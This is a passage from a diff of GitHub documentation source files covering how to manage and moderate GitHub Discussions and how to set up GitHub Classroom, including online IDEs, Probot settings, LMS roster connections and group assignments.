octicon "pencil" aria-label="The pencil icon" %}.  1. {% data reusables.discussions.edit-category-details %}  1. Click **Save changes**.  ### Deleting a category When you delete a category, {% data variables.product.product_name %} will move all discussions in the deleted category to an existing category that you choose. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "trash" aria-label="The trash icon" %}.  1. Use the drop-down menu, and choose a new category for any discussions in the category you're deleting.  1. Click **Delete & Move**.  108 ...aging-discussions-for-your-community/managing-discussions-in-your-repository.md @@ -0,0 +1,108 @@ --- title: Managing discussions in your repository intro: You can categorize, spotlight, transfer, or delete the discussions in a repository. permissions: Repository administrators and people with write or greater access to a repository can manage discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About management of discussions {% data reusables.discussions.about-discussions %} For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." Organization owners can choose the permissions required to create a discussion for repositories owned by the organization. For more information, see "[Managing discussion creation for repositories in your organization](/github/setting-up-and-managing-organizations-and-teams/managing-discussion-creation-for-repositories-in-your-organization)." As a discussions maintainer, you can create community resources to encourage discussions that are aligned with the overall project goal and maintain a friendly open forum for collaborators. Creating a code of conduct or contribution guidelines for collaborators to follow will help facilitate a collaborative and productive forum. For more information on creating community resources, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)," and "[Setting guidelines for repository contributors](/github/building-a-strong-community/setting-guidelines-for-repository-contributors)." For more information on facilitating a healthy discussion, see "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)." ### Prerequisites To manage discussions in a repository, discussions must be enabled for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Changing the category for a discussion You can categorize discussions to help community members find related discussions. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" article. You can also move a discussion to a different category. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  ### Pinning a discussion You can pin up to four important discussions above the list of discussions for the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Pin discussion**.  1. Optionally, customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Editing a pinned discussion Editing a pinned discussion will not change the discussion's category. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  1. Customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Unpinning a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Unpin discussion**.  1. Read the warning, then click **Unpin discussion**.  ### Transferring a discussion To transfer a discussion, you must have permissions to create discussions in the repository where you want to transfer the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "arrow-right" aria-label="The right arrow icon" %} **Transfer discussion**.  1. Select the **Choose a repository** drop-down, and click the repository you want to transfer the discussion to.  1. Click **Transfer discussion**.  ### Deleting a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "trash" aria-label="The trash arrow icon" %} **Delete discussion**.  1. Read the warning, then click **Delete this discussion**.  ### Converting issues based on labels You can convert all issues with the same label to discussions in bulk. Future issues with this label will also automatically convert to the discussion and category you configure. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.project-management.labels %} 1. Next to the label you want to convert to issues, click **Convert issues**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 40 ...t/discussions/managing-discussions-for-your-community/moderating-discussions.md @@ -0,0 +1,40 @@ --- title: Moderating discussions intro: 'You can promote healthy collaboration by marking comments as answers, locking or unlocking discussions, and converting issues to discussions. and editing or deleting comments, discussions, and categories that don''t align with your community''s code of conduct to discussions.' permissions: People with triage access to a repository can moderate discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About moderating discussions {% data reusables.discussions.about-discussions %} If you have triage permissions for a repository, you can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. ### Marking a comment as an answer {% data reusables.discussions.marking-a-comment-as-an-answer %} ### Locking discussions It's appropriate to lock a conversation when the entire conversation is not constructive or violates your community's code of conduct or {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/github/site-policy/github-community-guidelines). You can also lock a conversation to prevent comments on a discussion you want to use as an announcement to the community. When you lock a conversation, people with write access to the repository will still be able to comment on the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the list of discussions, click the discussion you want to lock.  1. In the right margin of a discussion, click **Lock conversation**. 1. Read the information about locking conversations and click **Lock conversation on this discussion**. 1. When you're ready to unlock the conversation, click **Unlock conversation**, then click **Unlock conversation on this discussion**. ### Converting an issue to a discussion When you convert an issue to a discussion, the discussion is automatically created using the content from the issue. People with write access to a repository can bulk convert issues based on labels. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} 1. In the list of issues, click the issue you'd like to convert. 1. In the right margin of an issue, click **Convert to discussion**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 62 content/discussions/quickstart.md @@ -0,0 +1,62 @@ --- title: Quickstart for GitHub Discussions intro: 'Enable {% data variables.product.prodname_discussions %} on an existing repository and start conversations with your community.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction {% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Discussions are for conversations that need to be transparent and accessible but do not need to be tracked on a project board and are not related to code, unlike issues. Discussions enable fluid, open conversation in a public forum. Discussions give a space for more collaborative conversations by connecting and giving a more centralized area to connect and find information. ### Enabling {% data variables.product.prodname_discussions %} on your repository Repository owners and people with write access can enable {% data variables.product.prodname_discussions %} for a community on their public repositories. When you first enable a {% data variables.product.prodname_discussions %}, you will be invited to configure a welcome post. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**.  1. Under "Features", click **Set up discussions**.  1. Under "Start a new discussion," edit the template to align with the resources and tone you want to set for your community. 1. Click **Start discussion**.  ### Welcoming contributions to your discussions You can welcome your community and introduce a new way to communicate in a repository by creating a welcome post and pin the post to your {% data variables.product.prodname_discussions %} page. Pinning and locking discussions helps people know that a post is meant as an announcement. You can use announcements as a way to link people to more resources and offer guidance for opening discussions in your community. For more information about pinning a discussion, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." ### Setting up community guidelines for contributors You can set contributing guidelines to encourage collaborators to have meaningful, useful conversations that are relevant to the repository. You can also update the repository's README to communicate expectations on when collaborators should open an issue or discussion. For more information about providing guidelines for your project, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)" and "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Creating a new discussion Anyone with access to a repository can create a discussion. {% data reusables.discussions.starting-a-discussion %} ### Organizing discussions into relevant categories Repository owners and people with write access can create new categories to keep discussions organized. Collaborators participating and creating new discussions can group discussions into the most relevant existing categories. Discussions can also be recategorized after they are created. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" ### Promoting healthy conversations People with write permissions for a repository can help surface important conversations by pinning discussions, deleting discussions that are no longer useful or are damaging to the community, and transferring discussions to more relevant repositories owned by the organization. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." ### Next steps Once there is a clear path to scope work out and move an idea from concept to reality, you can create an issue and start tracking your progress. For more information on creating an issue from a discussion, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." 45 content/education/guides.md @@ -0,0 +1,45 @@ --- title: Guides for GitHub Education intro: 'These guides for {% data variables.product.prodname_education %} help you teach and learn both {% data variables.product.product_name %} and software development.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- ### Get started with {% data variables.product.product_name %} Teachers, students, and researchers can use tools from {% data variables.product.product_name %} to enrich a software development curriculum and develop real-world collaboration skills. - [Sign up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account) - [Git and {% data variables.product.prodname_dotcom %} quickstart ](/github/getting-started-with-github/quickstart) - [Apply for an educator or researcher discount](/education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount) - [Apply for a student developer pack](/education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack) ### Run a software development course with {% data variables.product.company_short %} Administer a classroom, assign and review work from your students, and teach the new generation of software developers with {% data variables.product.prodname_classroom %}. - [Basics of setting up {% data variables.product.prodname_classroom %} ](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom) - [Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms) - [Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment) - [Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment) - [Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository) - [Leave feedback with pull requests](/education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests) - [Use autograding](/education/manage-coursework-with-github-classroom/use-autograding) ### Learn to develop software Incorporate {% data variables.product.prodname_dotcom %} into your education, and use the same tools as the professionals. - [Git and {% data variables.product.prodname_dotcom %} learning resources](/github/getting-started-with-github/git-and-github-learning-resources) - [Use {% data variables.product.prodname_dotcom %} for your schoolwork](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork) - [Try {% data variables.product.prodname_desktop %}](/desktop) - [Try {% data variables.product.prodname_cli %}](/github/getting-started-with-github/github-cli) ### Contribute to the community Participate in the community, get training from {% data variables.product.company_short %}, and learn or teach new skills. - [{% data variables.product.prodname_education_community %}](https://education.github.community) - [About Campus Experts](/education/teach-and-learn-with-github-education/about-campus-experts) - [About Campus Advisors](/education/teach-and-learn-with-github-education/about-campus-advisors) 43 content/education/index.md @@ -0,0 +1,43 @@ --- title: GitHub Education Documentation shortTitle: Education intro: "{% data variables.product.prodname_education %} helps you teach or learn software development with the tools and support of {% data variables.product.company_short %}'s platform and community." introLinks: quickstart: /education/quickstart featuredLinks: guides: - /education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution guideCards: - /github/getting-started-with-github/signing-up-for-a-new-github-account - /github/getting-started-with-github/git-and-github-learning-resources - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom popular: - /education/teach-and-learn-with-github-education/use-github-for-your-schoolwork - /education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research - /desktop - /github/getting-started-with-github/github-cli - /education/manage-coursework-with-github-classroom/teach-with-github-classroom changelog: - title: 'Try something new at Local Hack Day: Learn' date: '2020-10-15' href: https://github.blog/2020-10-15-try-something-new-at-local-hack-day-learn/ - title: 'Remote Education: Creating community through shared experiences' date: '2020-09-24' href: https://github.blog/2020-09-24-remote-education-creating-community-through-shared-experiences/ - title: 'Remote Education: A series of best practices for online campus communities' date: '2020-09-10' href: https://github.blog/2020-09-10-remote-education-a-series-of-best-practices-for-online-campus-communities/ - title: Welcome to the inaugural class of MLH Fellows date: '2020-06-24' href: https://github.blog/2020-06-24-welcome-to-the-inaugural-class-of-mlh-fellows/ layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /teach-and-learn-with-github-education %} --> <!-- {% link_with_intro /manage-coursework-with-github-classroom %} --> 31 ...work-with-github-classroom/about-using-makecode-arcade-with-github-classroom.md @@ -0,0 +1,31 @@ --- title: About using MakeCode Arcade with GitHub Classroom shortTitle: About using MakeCode Arcade intro: You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-makecode --- ### About MakeCode Arcade MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. ### About submission of assignments with MakeCode Arcade By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.product.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen.  ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...ge-coursework-with-github-classroom/about-using-replit-with-github-classroom.md @@ -0,0 +1,33 @@ --- title: About using Repl.it with GitHub Classroom shortTitle: About using Repl.it intro: You can configure Repl.it as the online integrated development environment (IDE) for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-replit --- ### About Repl.it Repl.it is an online integrated development environment (IDE) that supports multiple programming languages. Students can write, edit, run, test, and debug code in a browser with Repl.it. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit Repl.it, the student must sign into Repl.it with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on Repl.it. For more information about working on Repl.it, see the [Repl.it Quickstart Guide](https://docs.repl.it/misc/quick-start#the-repl-environment). For group assignments, students can use Repl.it Multiplayer to work collaboratively. For more information, see the [Repl.it Multiplayer](https://repl.it/site/multiplayer) website. ### About submission of assignments with Repl.it By default, Repl.it is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with Repl.it, students should push changes to {% data variables.product.product_location %} using the version control functionality in the left sidebar.  For more information about using Git on Repl.it, see the [Repl.it + Git Tutorial](https://repl.it/talk/learn/Replit-Git-Tutorial/23331) on the Repl.it website. ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...anage-coursework-with-github-classroom/basics-of-setting-up-github-classroom.md @@ -0,0 +1,33 @@ --- title: Basics of setting up GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %} basics' intro: Learn how to set up your classroom, manage assignments, and configure time-saving automation. versions: free-pro-team: '*' --- ### Videos about {% data variables.product.prodname_classroom %} You can watch a series of short video tutorials about the configuration and use of {% data variables.product.prodname_classroom %}. To watch all videos as part of a continuous playlist, see the [{% data variables.product.prodname_classroom %} Getting Started Guide](https://www.youtube.com/playlist?list=PLIRjfNq867bewk3ZGV6Z7a16YDNRCpK3u) on YouTube. For more information about terminology for {% data variables.product.prodname_classroom %}, see "[Glossary](/education/manage-coursework-with-github-classroom/glossary)". 1. <a href="https://youtu.be/xVVeqIDgCvM" target="_blank">Getting started</a> {% octicon "link-external" aria-label="The external link icon" %} 2. <a href="https://youtu.be/DTzrKduaHj8" target="_blank">Adding your student roster</a> {% octicon "link-external" aria-label="The external link icon" %} 3. Creating assignments - <a href="https://youtu.be/6QzKZ63KLss" target="_blank">Creating an assignment using a {% data variables.product.prodname_dotcom %} repository</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/Qmwh6ijsQJU" target="_blank">Creating an assignment using Microsoft MakeCode as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/p_g5sQ7hUis" target="_blank">Creating an assignment using Repl.it as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} 4. <a href="https://youtu.be/ObaFRGp_Eko" target="_blank">How students complete assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 5. <a href="https://youtu.be/g45OJn3UyCU" target="_blank">How teachers review assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 6. <a href="https://youtu.be/QxrA3taZdNM" target="_blank">Creating group assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 7. <a href="https://youtu.be/tJK2cmoh1KM" target="_blank">Next steps to get started</a> {% octicon "link-external" aria-label="The external link icon" %} 8. <a href="https://youtu.be/X87v3SFQxLU" target="_blank">{% data variables.product.prodname_dotcom %} Teacher Toolbox</a> {% octicon "link-external" aria-label="The external link icon" %} ### Next steps For more information about teaching with {% data variables.product.prodname_classroom %}, see "[Teach with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom)." ### Further reading - "[Teach and learn with {% data variables.product.prodname_education %}](/education/teach-and-learn-with-github-education)" 51 ...with-github-classroom/configure-default-settings-for-assignment-repositories.md @@ -0,0 +1,51 @@ --- title: Configure default settings for assignment repositories shortTitle: Configure defaults for assignment repositories intro: You can use the Probot Settings app to configure the default settings for repositories that {% data variables.product.prodname_classroom %} creates for an assignment. permissions: Organization owners can configure default settings for assignment repositories by installing a {% data variables.product.prodname_github_app %} for the organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/probot-settings --- ### About configuration of defaults for assignment repositories {% data variables.product.prodname_classroom %} creates a repository that belongs for each student or team that accepts an assignment. The repository belongs to the organization that you use for {% data variables.product.prodname_classroom %}. Assignment repositories can be empty, or you can use a template repository. For more information, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} With the Probot Settings app, you can create a file named _.github/settings.yml_ in a repository that contains a list of settings for the repository, and then install a {% data variables.product.prodname_github_app %} for your organization that automatically applies the settings to the repository. You can include _.github/settings.yml_ in a template repository that you use for an assignment in {% data variables.product.prodname_classroom %}. When an individual or team accepts the assignment, {% data variables.product.prodname_classroom %} creates the assignment repository, and the Settings app automatically applies the settings from _.github/settings.yml_. Probot is a a project, framework, and collection of free apps to automate {% data variables.product.product_name %}. A Probot app can listen to repository events, like the creation of new commits, comments, and issues, and automatically respond to the event. For more information, see the [Probot website](https://probot.github.io) and the [Settings app website](https://probot.github.io/apps/settings/). For more information about {% data variables.product.prodname_github_apps %}, see "[About apps](/developers/apps/about-apps)." ### Adding the Settings app to your organization After you install the Probot Settings app for your organization, the app will apply the settings that you define in _.github/settings.yml_ for any repository in your organization, including new assignment repositories that {% data variables.product.prodname_classroom %} creates. 1. Navigate to the [Settings app page](https://github.com/apps/settings). 1. Click **Install**, then click the organization that you use for {% data variables.product.prodname_classroom %}. Provide the app full access to all repositories owned by the organization.  ### Configuring default settings for an assignment repository 1. Create a template repository that contains a _.github/settings.yml_ file. For a complete list of settings, see the [README](https://github.com/probot/settings#github-settings) for the `probot/settings` repository. For more information about using a template repository for starter code in {% data variables.product.prodname_classroom %}, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% warning %} **Warning:** Do not define `collaborators` in the _.github/settings.yml_ file for your template repository. {% data variables.product.prodname_classroom %} automatically grants teachers and teaching assistants access to assignment repositories. {% endwarning %} 1. Create an assignment using the template repository containing _.github/settings.yml_ as the starter code. {% data reusables.classroom.for-more-information-about-assignment-creation %} The Probot Settings app for your organization will now apply the settings you define in _.github/settings.yml_ within the template repository to every assignment repository that {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} creates for a student or team. ### Further reading - [Probot apps](https://probot.github.io/apps/) - [Probot documentation](https://probot.github.io/docs/) 142 ...th-github-classroom/connect-a-learning-management-system-to-github-classroom.md @@ -0,0 +1,142 @@ --- title: Connect a learning management system to GitHub Classroom intro: You can configure an LTI-compliant learning management system (LMS) to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom - /education/manage-coursework-with-github-classroom/connect-to-lms - /education/manage-coursework-with-github-classroom/generate-lms-credentials - /education/manage-coursework-with-github-classroom/setup-canvas - /education/manage-coursework-with-github-classroom/setup-generic-lms - /education/manage-coursework-with-github-classroom/setup-moodle --- ### About configuration of your LMS You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %}, and {% data variables.product.prodname_classroom %} can import a roster of student identifiers from the LMS. To connect your LMS to {% data variables.product.prodname_classroom %}, you must enter configuration credentials for {% data variables.product.prodname_classroom %} in your LMS. ### Prerequisites To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)." ### Supported LMSes {% data variables.product.prodname_classroom %} supports import of roster data from LMSes that implement Learning Tools Interoperability (LTI) standards. - LTI version 1.0 and/or 1.1 - LTI Names and Roles Provisioning 1.X Using LTI helps keep your information safe and secure. LTI is an industry-standard protocol and GitHub Classroom's use of LTI is certified by the Instructional Management System (IMS) Global Learning Consortium. For more information, see [Learning Tools Interoperability](https://www.imsglobal.org/activity/learning-tools-interoperability) and [About IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) on the IMS Global Learning Consortium website. {% data variables.product.company_short %} has tested import of roster data from the following LMSes into {% data variables.product.prodname_classroom %}. - Canvas - Google Classroom - Moodle - Sakai Currently, {% data variables.product.prodname_classroom %} doesn't support import of roster data from Blackboard or Brightspace ### Generating configuration credentials for your classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster. - For more information about deleting and creating a roster, see "[Deleting a roster for a classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" and "[Creating a roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." - For more information about updating a roster, see "[Adding students to the roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)." 1. In the list of LMSes, click your LMS. If your LMS is not supported, click **Other LMS**.  1. Read about connecting your LMS, then click **Connect to _LMS_**. 1. Copy the "Consumer Key", "Shared Secret", and "Launch URL" for the connection to the classroom.  ### Configuring a generic LMS You must configure the privacy settings for your LMS to allow external tools to receive roster information. 1. Navigate to your LMS. 1. Configure an external tool. 1. Provide the configuration credentials you generated in {% data variables.product.prodname_classroom %}. - Consumer key - Shared secret - Launch URL (sometimes called "tool URL" or similar) ### Configuring Canvas You can configure {% data variables.product.prodname_classroom %} as an external app for Canvas to import roster data into your classroom. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/). 1. Sign into [Canvas](https://www.instructure.com/canvas/#login). 1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}. 1. In the left sidebar, click **Settings**. 1. Click the **Apps** tab. 1. Click **View app configurations**. 1. Click **+App**. 1. Select the **Configuration Type** drop-down menu, and click **By URL**. 1. Paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Canvas app configuration | Value or setting | | :- | :- | | **Consumer Key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared Secret** | Shared secret from {% data variables.product.prodname_classroom %} | | **Allow this tool to access the IMS Names and Role Provisioning Service** | Enabled | | **Configuration URL** | Launch URL from {% data variables.product.prodname_classroom %} | {% note %} **Note**: If you don't see a checkbox in Canvas labeled "Allow this tool to access the IMS Names and Role Provisioning Service", then your Canvas administrator must contact Canvas support to enable membership service configuration for your Canvas account. Without enabling this feature, you won't be able to sync the roster from Canvas. For more information, see [How do I contact Canvas Support?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) on the Canvas website. {% endnote %} 1. Click **Submit**. 1. In the left sidebar, click **Home**. 1. To prompt Canvas to send a confirmation email, in the left sidebar, click **GitHub Classroom**. Follow the instructions in the email to finish linking {% data variables.product.prodname_classroom %}. ### Configuring Moodle You can configure {% data variables.product.prodname_classroom %} as an activity for Moodle to import roster data into your classroom. For more information about Moodle, see the [Moodle website](https://moodle.org). You must be using Moodle version 3.0 or greater. 1. Sign into [Moodle](https://moodle.org/login/index.php). 1. Select the Moodle course to integrate with {% data variables.product.prodname_classroom %}. 1. Click **Turn editing on**. 1. Wherever you'd like {% data variables.product.prodname_classroom %} to be available in Moodle, click **Add an activity or resource**. 1. Choose **External tool** and click **Add**. 1. In the "Activity name" field, type "GitHub Classroom". 1. In the **Preconfigured tool** field, to the right of the drop-down menu, click **+**. 1. Under "External tool configuration", paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Moodle app configuration | Value or setting | | :- | :- | | **Tool name** | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**Note**: You can use any name, but we suggest this value for clarity. | | **Tool URL** | Launch URL from {% data variables.product.prodname_classroom %} | | **LTI version** | LTI 1.0/1.1 | | **Default launch container** | New window | | **Consumer key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared secret** | Shared secret from {% data variables.product.prodname_classroom %} | 1. Scroll to and click **Services**. 1. To the right of "IMS LTI Names and Role Provisioning", select the drop-down menu and click **Use this service to retrieve members' information as per privacy settings**. 1. Scroll to and click **Privacy**. 1. To the right of **Share launcher's name with tool** and **Share launcher's email with tool**, select the drop-down menus to click **Always**. 1. At the bottom of the page, click **Save changes**. 1. In the **Preconfigure tool** menu, click **GitHub Classroom - _YOUR CLASSROOM NAME_**. 1. Under "Common module settings", to the right of "Availability", select the drop-down menu and click **Hide from students**. 1. At the bottom of the page, click **Save and return to course**. 1. Navigate to anywhere you chose to display {% data variables.product.prodname_classroom %}, and click the {% data variables.product.prodname_classroom %} activity. ### Importing a roster from your LMS For more information about importing the roster from your LMS into {% data variables.product.prodname_classroom %}, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." ### Disconnecting your LMS {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Connect to a learning management system (LMS)", click **Connection Settings**.  1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**.  145 .../education/manage-coursework-with-github-classroom/create-a-group-assignment.md @@ -0,0 +1,145 @@ --- title: Create a group assignment intro: 'You can create a collaborative assignment for teams of students who participate in your course.' versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/create-group-assignments --- ### About group assignments {% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers. When a student accepts a group assignment, the student can create a new team or join an existing team. {% data variables.product.prodname_classroom %} saves the teams for an assignment as a set. You can name the set of teams for a specific assignment when you create the assignment, and you can reuse that set of teams for a later assignment. {% data reusables.classroom.classroom-creates-group-repositories %} {% data reusables.classroom.about-assignments %} You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.product_name %}. The visibility of the team is secret. Teams that you create on {% data variables.product.product_name %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see "[About teams](/github/setting-up-and-managing-organizations-and-teams/about-teams)." For a video demonstration of the creation of a group assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Defining teams 